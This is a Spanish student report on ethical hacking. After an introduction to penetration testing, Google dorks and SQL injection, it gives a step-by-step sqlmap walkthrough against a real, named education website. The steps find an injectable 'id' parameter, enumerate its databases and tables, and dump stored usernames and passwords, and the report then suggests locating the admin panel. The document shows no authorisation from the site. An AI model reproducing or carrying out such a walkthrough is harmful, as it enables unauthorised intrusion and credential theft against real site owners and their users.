El gusano informático Morris (1988) - Julio Ardita (1995) - Citizenfour (2014...
HackWeb
1. UNIVERSIDAD TECNOLÓGICA DEL ESTADO DE ZACATECAS
UNIDAD ACADÉMICA DE PINOS
MATERIA:
SEGURIDAD DE LA INFORMACIÓN
TEMA:
INTRODUCCION A LA SEGURIDAD DE LA INFORMACIÓN
PROFESOR:
IDS. LUCIA GONZALEZ HERNANDEZ
ALUMNO:
TSU. CARLOS EDUARDO SÁNCHEZ MARTÍNEZ
TSU. IVAN MARTÍNEZ GARCÍA
CARRERA:
TECNOLOGÍAS DE LA INFORMACIÓN Y LA COMUNICACIÓN ÁREA
SISTEMAS INFORMÁTICOS
GRADO Y GRUPO:
10° CUATRIMESTRE GRUPO “B”
PINOS ZACATECAS, 14 DE SEPTIÉMBRE DE 2015
2. REPORTE DE COMO BURLAR LA SEGURIDAD DE UN SITIO WEB.
INTRODUCCION.
¿Qué es el Ethical Hacking?
Las computadoras en todo el mundo son susceptibles de ser atacadas por
crackers o hackers capaces de comprometer los sistemas informáticos y robar
información valiosa, o bien borrar una gran parte de ella. Esta situación hace
imprescindible conocer si estos sistemas y redes de datos están protegidos de
cualquier tipo de intrusiones. Por tanto el objetivo fundamental del Ethical Hacking
(hackeo ético) es explotar las vulnerabilidades existentes en el sistema de
"interés" valiéndose de test de intrusión, que verifican y evalúan la seguridad física
y lógica de los sistemas de información, redes de computadoras, aplicaciones
web, bases de datos, servidores, etc. Con la intención de ganar acceso y
"demostrar" que un sistema es vulnerable, esta información es de gran ayuda a las
organizaciones al momento de tomar las medidas preventivas en contra de
posibles ataques malintencionados. Dicho lo anterior, el servicio de Ethical
Hacking consiste en la simulación de posibles escenarios donde se reproducen
ataques de manera controlada, así como actividades propias de los delincuentes
cibernéticos, esta forma de actuar tiene su justificación en la idea de que: "Para
atrapar a un intruso, primero debes pensar como intruso" Para garantizar la
seguridad informática se requiere de un conjunto de sistemas, métodos y
herramientas destinados a proteger la información, es aquí donde entran los
servicios del Ethical Hacking , la cual es una disciplina de la seguridad informática
que echa mano de una gran variedad de métodos para realizar sus pruebas, estos
métodos incluyen tácticas de ingeniería social, uso de herramientas de hacking ,
uso de Metasploits que explotan vulnerabilidades conocidas, en fin son válidas
3. todas las tácticas que conlleven a vulnerar la seguridad y entrar a las áreas
críticas de las organizaciones.
¿Quiénes son los Ethical Hackers?
Los hackers éticos también conocidos como Pen-Tester, como su nombre lo dice,
realizan "Pruebas de Penetración". Un hacker ético es un experto en
computadoras y redes de datos, su función es atacar los sistemas de seguridad en
nombre de sus dueños, con la intención de buscar y encontrar vulnerabilidades
que un hacker malicioso podría explotar. Para probar los sistemas de seguridad,
los Ethical Hackers (hackers éticos) utilizan los mismos métodos que sus
homólogos, pero se limitan únicamente a reportarlos en lugar de sacar ventaja de
ellos. El Ethical Hacking también es conocido como penetration testing (pruebas
de penetración) o intrusión testing (pruebas de intrusión). Los individuos que
realizan estas actividades a veces son denominados "hackers de sombrero
blanco", este término proviene de las antiguas películas del Oeste, en donde el
"bueno" siempre llevaba un sombrero blanco y el "malo" un sombrero negro.
¿Por qué hacer un Ethical Hacking?
A través del Ethical Hacking (es posible detectar el nivel de seguridad interno y
externo de los sistemas de información de una organización, esto se logra
determinando el grado de acceso que tendría un atacante con intenciones
maliciosas a los sistemas informáticos con información crítica. Las pruebas de
penetración son un paso previo a los análisis de fallas de seguridad o riesgos para
una organización. La diferencia con un análisis de vulnerabilidades, es que las
pruebas de penetración se enfocan en comprobar y clasificar vulnerabilidades y no
4. tanto en el impacto que éstas tengan sobre la organización. Estas pruebas dejan
al descubierto las vulnerabilidades que pudieran ser vistas y explotadas por
individuos no autorizados y ajenos a la información como: crackers, hackers,
ladrones, ex-empleados, empleados actuales disgustados, competidores, etc. Las
pruebas de penetración, están totalmente relacionadas con el tipo de información
que cada organización maneja, por tanto según la información que se desee
proteger, se determina la estructura y las herramientas de seguridad pero nunca a
la inversa.
Estas pruebas de penetración permiten:
Evaluar vulnerabilidades a través de la identificación de debilidades
provocadas por una mala configuración de las aplicaciones.
Analizar y categorizar las debilidades explotables, con base al impacto
potencial y la posibilidad de que la amenaza se convierta en realidad.
Proveer recomendaciones en base a las prioridades de la organización para
mitigar y eliminar las vulnerabilidades y así reducir el riesgo de ocurrencia
de un evento desfavorable.
La realización de las pruebas de penetración está basada en las siguientes fases.
1. Recopilación de información
2. Descripción de la red
3. Exploración de los sistemas
4. Extracción de información
5. Acceso no autorizado a información sensible o crítica
6. Auditoría de las aplicaciones web
7. Elaboración de informes
8. Informe final
5. Tipos de Ethical Hacking
Las pruebas de penetración se enfocan principalmente en las siguientes
perspectivas:
Pruebas de penetración con objetivo: se buscan las vulnerabilidades en
partes específicas de los sistemas informáticos críticos de la organización.
Pruebas de penetración sin objetivo: consisten en examinar la totalidad de
los componentes de los sistemas informáticos pertenecientes a la
organización. Este tipo de pruebas suelen ser las más laboriosas.
Pruebas de penetración a ciegas: en estas pruebas sólo se emplea la
información pública disponible sobre la organización.
Pruebas de penetración informadas: aquí se utiliza la información privada,
otorgada por la organización acerca de sus sistemas informáticos. En este
tipo de pruebas se trata de simular ataques realizados por individuos
internos de la organización que tienen determinado acceso a información
privilegiada.
Pruebas de penetración externas: son realizas desde lugares externos a las
instalaciones de la organización. Su objetivo es evaluar los mecanismos
perimetrales de seguridad informática de la organización.
Pruebas de penetración internas: son realizadas dentro de las instalaciones
de la organización con el objetivo de evaluar las políticas y mecanismos
internos de seguridad de la organización.
A su vez, cada tipo de pruebas descrito anteriormente se puede ubicar en dos
modalidades dependiendo si el desarrollo de las pruebas es de conocimiento del
personal informático o no. Red Teaming: Es una prueba encubierta, es decir que
sólo un grupo selecto de ejecutivos sabe de ella. En esta modalidad son válidas
las técnicas de "Ingeniería Social" para obtener información que permita realizar
ataque. Ésta obviamente es más real y evita se realicen cambios de última hora
que hagan pensar que hay un mayor nivel de seguridad en la organización. Blue
6. Teaming: El personal de informática conoce sobre las pruebas. Esta modalidad se
aplica cuando las medidas tomadas por el personal de seguridad de las
organizaciones ante un evento considerado como incidente, repercuten en la
continuidad de las operaciones críticas de la organización, por ello es conveniente
alertar al personal para evitar situaciones de pánico y fallas en la continuidad del
negocio.
¿Cuáles son los beneficios de un Ethical hacking?
Al finalizar el Ethical Hacking se entrega el resultado al cliente mediante un
documento que contiene a grandes rasgos una lista detallada de las
vulnerabilidades encontradas y verificables. También se provee una lista de
recomendaciones para que sean aplicadas por los responsables de seguridad en
la organización. Este documento se compone de un informe técnico y uno
ejecutivo para que los empleados técnicos y administrativos puedan entender y
apreciar los riesgos potenciales sobre el negocio. Los beneficios que las
organizaciones adquieren con la realización de un Ethical Hacking son muchos, de
manera muy general los más importantes son:
Ofrecer un panorama acerca de las vulnerabilidades halladas en los
sistemas de información, lo cual es de gran ayuda al momento de aplicar
medidas correctivas.
Deja al descubierto configuraciones no adecuadas en las aplicaciones
instaladas en los sistemas (equipos de cómputo, switches, routers,
firewalls) que pudieran desencadenar problemas de seguridad en las
organizaciones.
Identificar sistemas que son vulnerables a causa de la falta de
actualizaciones.
Disminuir tiempo y esfuerzos requeridos para afrontar situaciones adversas
en la organización.
7. Los beneficios no sólo se ven reflejados en la parte técnica y operacional de la
organización, sino en organizaciones o empresas donde sus actividades
repercuten de forma directa en el cliente, los beneficios reflejan una buena imagen
y reputación corporativa que en ocasiones es más valiosa que las mismas
pérdidas económicas, por ejemplo los bancos, a quienes les importa demasiado la
imagen que ofrecen al cliente, en consecuencia invierten mucho dinero en
mecanismos de seguridad para minimizar las pérdidas financieras. Es muy
importante tener en cuenta los aspectos legales en la realización de un Ethical
hacking, los cuales deben tenerse muy presentes tanto por las organizaciones que
prestan el servicio como por quienes lo contratan. Estos aspectos abarcan la
confidencialidad, es decir que a la información que los "Pen tester" encuentren no
se le dé un mal manejo o uso más allá de los fines previstos por las pruebas. Se
deben indicar claramente en el contrato los objetivos específicos de las pruebas
de penetración para evitar futuros malos entendidos. En lo que respeta a la
organización que contrata el servicio, ésta debe garantizar que la información que
se provee al "Pen Tester" es fidedigna para que los resultados sean congruentes y
certeros. Sin embargo dada la naturaleza de las pruebas de penetración es
limitada la posibilidad de probar toda la gama de técnicas y mecanismos que los
crackers o hackers pudieran emplear para vulnerar un sistema informático y en
ocasiones obtener "falsos positivos", es decir resultados que indiquen una
vulnerabilidad que realmente no es explotable.
http://www.dragonjar.org/como-realizar-un-pentest.xhtml
8. Google dorks
Muchos hackers utilizan Google para encontrar sitios o páginas Web vulnerables,
y luego utilizan estas vulnerabilidades para hackearlas.
Google docks son combinaciones de operadores de búsqueda especiales que se
utilizan para extraer información valiosa o sensible desde Google. Es un término
despectivo ya que dar en inglés significa "idiota". Además se denomina
"googledork" a una persona inepta o tonta según lo revelado por Google.
¿De qué forma revela Google que una persona es inepta o idiota? Por ejemplo,
existen idiotas que dejan planillas de cálculo o documentos de Word que incluyen
credenciales de cuentas de usuario con nombre y contraseña dentro de directorios
Web que son indexados por Google. Aunque parezca mentira no lo es.
¿Pero cómo sucede esto? Simple, los robots de Google que indexan contenido (es
lo que hace que un sitio sea posicionado de acuerdo a las palabras clave que se
encuentran) son capaces de interpretar todo tipo de archivos, no sólo páginas
Web. Por lo tanto, si un idiota deja un archivo con información sensible en un
directorio Web que permite ser listado, será accedido e indexado por los robots de
Google. La cuestión de fondo es, ¿por qué alguien querría dejar un archivo con
información sensible dentro de un directorio que es accesible públicamente a
través del protocolo HTTP? Tal vez porque es estúpido, o más bien se trata de un
"googledork".
9. Inyección SQL
Es un método de infiltración de código intruso que se vale de una vulnerabilidad
informática presente en una aplicación en el nivel de validación de las entradas
para realizar consultas a una base de datos.
El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las
variables utilizadas en un programa que contiene, o bien genera, código SQL. Es,
de hecho, un error de una clase más general de vulnerabilidades que puede
ocurrir en cualquier lenguaje de programación o script que esté embebido dentro
de otro.
Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al
método de infiltración, al hecho de incrustar código SQL intruso y a la porción de
código incrustado.
Existen diferentes tipos de inyección SQL nosotros ahorita veremos la más básica
y sencilla de todas.
10. PASOS PARA BURLAS LA SEGURIDAD DE UN SITIO WEB
Paso1.- Buscando un sitio vulnerable
Para realizar esta actividad, utilizaremos Ubuntu 15.04, ya que incluye ciertos
materiales que mencionaremos más adelante.
Para encontrar un sitio vulnerable podemos usar algunos dorks de google, por
ejemplo el siguiente:
inurl=.php?id=
Para saber si es vulnerable debemos generar un error en la aplicación web para
ver si maneja correctamente los valores de la variable que se le dan, por ejemplo
agregar una simple ' en la url después del signo '=' es una forma de tratar de
generar un error.
Por ejemplo si la url es:
http://www.educacionit.com.ar/reenviar.php?id=123
Le agregamos la ':
http://www.educacionit.com.ar/reenviar.php?id='
A continuación nos saldrá un error como este:
11. Paso 2.- Comenzando el hackeo, para eso vamos a utilizar la herramienta
sqlmap.
Para poder ejecutar sqlmap necesitan tener instalado Python, ya que es un script
en este lenguaje.
Ahora vamos a nuestra Shell y ubicamos la carpeta donde tengamos sqlmap y lo
ejecutamos, en mi caso sería:
Cd Documentos
Cd sqlmap
Python sqlmap.py
Ahora nos aparecerá algo como esto:
12. Si te salió esto quiere decir que vas bien.
Ahora explicando un poco las variables que se usan:
-u [URL a la que se le hará la inyección] (URL Correcta)
-p [Parámetro de la url que inyectaremos]
--dbs [Mostrara todas las bases de datos de la página]
-D [Seteas el nombre de la base de datos a la que harás la consulta]
--tables [Mostrara todas las tablas de la Base de datos seleccionada]
-T [Conexión a una tabla especifica]
--columns [Mostrara los nombre de las columnas de la tabla seleccionada]
--dump [Hace un volcado de datos de ficheros .csv de la tabla seleccionada
(Mostrara la información de las tablas)]
13. --dbms [Con este parámetro podemos seleccionar el motor de base de datos que
usa para hacer las pruebas de errores sobre un motor de base de datos
especifico, ej. SQL, MySQL, ORACLE]
Si quieren ver los otros parámetros revisen la documentación de sqlmap, por lo
pronto empezaremos ya escribiendo esto:
./sqlmap.py -u "http://www.educacionit.com.ar/reenviar.php?id=123" --dbs --
dbms=mysql
Nos dará como resultado esto:
14. Como ven aquí nos muestra que el parámetro 'id' efectivamente si es inyectable y
además nos pregunta que si queremos seguir haciendo más pruebas, le decimos
que no escribiendo 'n' y mostrara lo siguiente:
Y nos muestra dos bases de datos:
Information_schema [Todos los motores de SQL la traen, asi que la ignoraremos]
sebadivi_educacionit
Para ver que tiene la base de datos de 'sebadivi_educacionit', haremos lo
siguiente:
15. ./sqlmap.py -u "http://www.educacionit.com.ar/reenviar.php?id=123" -D
sebadivi_educacionit –tables
Al finalizar el escaneo mostrara esto:
Y así como parece, esas son las tablas de la base de datos, vamos a explorarlas,
por ejemplo la que dice 'login'.
./sqlmap.py -u "http://www.educacionit.com.ar/reenviar.php?id=123" -D
sebadivi_educacionit -T login –columns
Como ven nos muestra 4 columnas:
16. 1. pagina
2. pass
3. permisos
4. user
Y sus tipos de datos que son, en este caso todos son varchar de diferentes
longitudes, veamos los registros.
17. Y ahí lo tenemos usuarios y contraseñas del sitio, lo siguiente es buscar el panel
de administración. Para poder conectarse al sitio.
Conclusiones:
Para finalizar, basta con exhortar a la comunidad de desarrolladores a
que implementen la máxima seguridad en sus proyectos, ya que como
vimos, las vulnerabilidades son muy fáciles de explotar y hasta llegar
al punto de perder toda su información y control del mismo.